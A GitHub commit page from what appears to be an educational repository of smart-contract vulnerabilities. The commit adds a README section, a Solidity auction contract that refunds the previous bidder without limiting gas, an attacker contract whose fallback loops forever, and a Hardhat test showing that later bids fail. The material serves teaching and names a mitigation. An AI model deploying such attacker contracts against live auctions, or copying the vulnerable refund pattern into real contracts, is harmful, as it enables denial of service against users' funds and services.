Skip to content

Commit cb24c5a

Browse files
committed
add block gas limit dos
1 parent b30fa69 commit cb24c5a

File tree

3 files changed

+122
-0
lines changed

3 files changed

+122
-0
lines changed

README.md

+18
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ Summary:
1212
- [Insecure Source of Randomness](#insecure-source-of-randomness)
1313
- [Denial of Service](#denial-of-service)
1414
- [Reject Ether transfer](#reject-ether-transfer)
15+
- [DoS with Block Gas Limit](#dos-with-block-gas-limit)
1516

1617
# Reentrancy
1718

@@ -420,3 +421,20 @@ contract RejectEtherSafe {
420421
}
421422
}
422423
```
424+
425+
## DoS with Block Gas Limit
426+
427+
Each Ethereum block has a gas limit, which is the maximum amount of gas that can be spent in the block. If a transaction requires more gas than the block gas limit, the transaction will be reverted. This can be used by an attacker to block a contract from being used by sending a transaction that requires more gas than the block gas limit.
428+
429+
It is very similar to the previous DoS vulnerability, but can apply to cases where the succes call to the unknown contract is not required. You'll see in the PoC how the attacker for the previous vulnerability does not work on the vulnerable contract and how the new attacker will work.
430+
431+
### POC
432+
433+
- Contracts: [BlockGasLimit.sol](contracts/BlockGasLimit.sol)
434+
- Test: `yarn test test/blockGasLimit.ts`
435+
436+
In the code of the PoC we can see that we don't have any revert in case the call to the unknown contract fails, so not having a `receive` or `fallback` function will not prevent the contract from being used. However, if the implementation of the `fallback` function is too expensive, like a infinite loop that will run out of gas, the contract will be blocked from being used.
437+
438+
### Solutions:
439+
440+
Same as with the previous DoS vulnerability, try avoiding making calls to unknown contract, but if you have to, implement the `Pull over Push` Smart Contract design pattern.

contracts/BlockGasLimit.sol

+41
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.0;
3+
4+
// Auction contract that keeps track of the highest bidder and Ether bid.
5+
// Whoever sends a higher bid becomes the new highest bidder and the old one
6+
// gets refunded.
7+
contract BlockGasLimitVulnerable {
8+
address public highestBidder;
9+
uint256 public highestBid;
10+
11+
function bid() public payable {
12+
// Reject new bids that are lower than the current highest bid.
13+
require(msg.value > highestBid, "Bid not high enough");
14+
15+
// Refund the current highest bidder, if it exists.
16+
if (highestBidder != address(0)) {
17+
highestBidder.call{value: highestBid}("");
18+
}
19+
20+
// Update the current highest bid.
21+
highestBidder = msg.sender;
22+
highestBid = msg.value;
23+
}
24+
}
25+
26+
contract BlockGasLimitAttacker {
27+
BlockGasLimitVulnerable vulnerable;
28+
29+
constructor(BlockGasLimitVulnerable _vulnerable) {
30+
vulnerable = _vulnerable;
31+
}
32+
33+
function attack() public payable {
34+
vulnerable.bid{value: msg.value}();
35+
}
36+
37+
// Fallback function implemented just to run out of gas.
38+
fallback() external payable {
39+
while (true) {}
40+
}
41+
}

test/blockGasLimit.ts

+63
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
2+
import chai, { expect } from "chai";
3+
import chaiAsPromised from "chai-as-promised";
4+
import { ethers } from "hardhat";
5+
6+
import { BlockGasLimitVulnerable, BlockGasLimitAttacker, RejectEtherAttacker } from "../typechain-types";
7+
8+
chai.use(chaiAsPromised);
9+
10+
describe("BlockGasLimit", () => {
11+
let deployer: SignerWithAddress;
12+
let attacker: SignerWithAddress;
13+
let blockGasLimitVulnerable: BlockGasLimitVulnerable;
14+
let blockGasLimitAttacker: BlockGasLimitAttacker;
15+
let rejectEtherAttacker: RejectEtherAttacker;
16+
17+
before(async () => {
18+
[deployer, attacker] = await ethers.getSigners();
19+
});
20+
21+
beforeEach(async () => {
22+
const BlockGasLimitVulnerable = await ethers.getContractFactory("BlockGasLimitVulnerable");
23+
blockGasLimitVulnerable = await BlockGasLimitVulnerable.deploy();
24+
await blockGasLimitVulnerable.deployed();
25+
26+
const BlockGasLimitAttacker = await ethers.getContractFactory("BlockGasLimitAttacker");
27+
blockGasLimitAttacker = await BlockGasLimitAttacker.deploy(blockGasLimitVulnerable.address);
28+
await blockGasLimitAttacker.deployed();
29+
30+
const RejectEtherAttacker = await ethers.getContractFactory("RejectEtherAttacker");
31+
rejectEtherAttacker = await RejectEtherAttacker.deploy(blockGasLimitVulnerable.address);
32+
await rejectEtherAttacker.deployed();
33+
});
34+
35+
it("should not be vulnerable to RejectEtherAttacker DoS", async () => {
36+
await blockGasLimitVulnerable.bid({ value: ethers.utils.parseEther("1") });
37+
console.log("Balance after first bid: ", ethers.utils.formatEther(await ethers.provider.getBalance(blockGasLimitVulnerable.address)));
38+
39+
console.log("Attacker is attacking...");
40+
await rejectEtherAttacker.connect(attacker).attack({ value: ethers.utils.parseEther("2") });
41+
console.log("Balance after attack bid: ", ethers.utils.formatEther(await ethers.provider.getBalance(blockGasLimitVulnerable.address)));
42+
43+
await blockGasLimitVulnerable.bid({ value: ethers.utils.parseEther("3") });
44+
expect(await blockGasLimitVulnerable.highestBid()).to.equal(ethers.utils.parseEther("3"));
45+
expect(await blockGasLimitVulnerable.highestBidder()).to.equal(deployer.address);
46+
47+
console.log("Balance after third bid: ", ethers.utils.formatEther(await ethers.provider.getBalance(blockGasLimitVulnerable.address)));
48+
});
49+
50+
it("should be vulnerable to BlockGasLimitAttacker DoS", async () => {
51+
await blockGasLimitVulnerable.bid({ value: ethers.utils.parseEther("1") });
52+
53+
console.log("Attacker is attacking...");
54+
await blockGasLimitAttacker.connect(attacker).attack({ value: ethers.utils.parseEther("2") });
55+
56+
try {
57+
await blockGasLimitVulnerable.bid({ value: ethers.utils.parseEther("3"), gasLimit: 100000 });
58+
} catch (error: any) {
59+
console.log("...");
60+
console.log("Bid transaction reverted with reason: ", error.message);
61+
}
62+
});
63+
});

0 commit comments

Comments
 (0)